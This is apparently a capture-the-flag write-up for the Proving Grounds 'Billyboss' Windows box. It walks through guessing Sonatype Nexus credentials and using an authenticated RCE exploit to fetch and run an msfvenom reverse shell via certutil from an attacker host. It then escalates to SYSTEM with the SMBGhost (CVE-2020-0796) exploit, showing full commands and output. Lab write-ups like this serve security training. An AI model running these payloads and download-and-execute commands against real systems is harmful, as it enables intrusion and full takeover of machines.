Skip to content
HackIndex.io

Billyboss Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Billyboss exposes a Sonatype Nexus Repository Manager with a guessable login, vulnerable to an authenticated remote code execution exploit that gives a shell as a low-privileged user. The box has never been patched against SMBGhost (CVE-2020-0796), and a public kernel exploit for that vulnerability escalates to SYSTEM.

Reconnaissance

Nmap

Run a simple scan first.

┌──(kali㉿kali)-[~]
└─$ sudo nmap $TARGET_IP 
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
8081/tcp open  blackice-icecap

Port 8081 is the interesting one.

Sonatype Nexus

Browsing to it shows a Sonatype Nexus install. There are no documented default credentials, but a few educated guesses land on nexus:nexus. The interface reports version 3.21.0-05.

Exploitation

Sonatype Nexus authenticated code execution

Version 3.21.0-05 is vulnerable to a public authenticated remote code execution exploit. Generate a reverse shell payload first.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT 
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Host the payload over HTTP and start a listener.

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 ...
┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...

Set the exploit's target URL and credentials, and use it first to download the payload with certutil.

URL='http://$TARGET_IP:8081'
CMD='cmd.exe /c certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe shell.exe'
USERNAME='nexus'
PASSWORD='nexus'
┌──(kali㉿kali)-[~]
└─$ python exploit.py 
Logging in
Logged in successfully
Command executed

Re-run the exploit, this time executing the downloaded payload.

CMD='cmd.exe /c shell.exe'
┌──(kali㉿kali)-[~]
└─$ python exploit.py 
Logging in
Logged in successfully
Command executed

The listener catches a shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49883
C:\Users\nathan\Nexus\nexus-3.21.0-05>whoami
billyboss\nathan

Shell as nathan. Check the installed patches for a path to SYSTEM.

Privilege Escalation

Installed patches

List the installed KBs.

PS C:\Users\Guest\Desktop> wmic qfe list 
HotFixID    InstalledOn
KB4552931   5/26/2020
KB4497165   5/26/2020
KB4497727   4/1/2019
KB4537759   5/26/2020
KB4552152   5/26/2020
KB4540673   5/27/2020

The most recent patch, KB4540673, was released in March 2020, just before the SMBv3 compression fix shipped. That makes the box a likely candidate for SMBGhost. Confirm SMB is listening.

PS C:\Users\Guest\Desktop> netstat -ano 
Proto  Local Address          State       PID
TCP    0.0.0.0:445            LISTENING   4
TCP    0.0.0.0:8081            LISTENING   2076

SMBGhost (CVE-2020-0796)

Port 445 is open and the patch level matches. Compile the public SMBGhost local privilege escalation exploit, replacing its shellcode with a reverse shell payload generated for a second listener port.

PS C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$ATTACKER_IP/cve-2020-0796-local.exe cve-2020-0796-local.exe 
CertUtil: -URLCache command completed successfully.

Start a second listener, then run the compiled exploit.

┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
PS C:\Users\Guest\Desktop> cve-2020-0796-local.exe 
-= CVE-2020-0796 LPE =-
Successfully connected socket descriptor: 216
Sending SMB negotiation request...
Found kernel token at 0xffffab002ca2c060
SEP_TOKEN_PRIVILEGES changed
Injecting shellcode in winlogon...
Success! ;)

The listener catches a SYSTEM shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49687
C:\Windows\system32>whoami
nt authority\system

The SMBv3 compression buffer overflow runs shellcode in winlogon, giving a SYSTEM shell.

Related

Detecting Known SMB Vulnerabilities
Blog

Detecting Known SMB Vulnerabilities

Enumerate SMB services to identify unpatched vulnerabilities including EternalBlue (MS17-010), SMBGh...
EternalBlue MS17-010 – SMB RCE
Blog

EternalBlue MS17-010 – SMB RCE

Exploits the MS17-010 SMB vulnerability using EternalBlue to achieve unauthenticated remote code exe...
Port Scanning with Nmap
Blog

Port Scanning with Nmap

Discover live hosts, open ports, and running services using Nmap's scan techniques, flags, and outpu...

References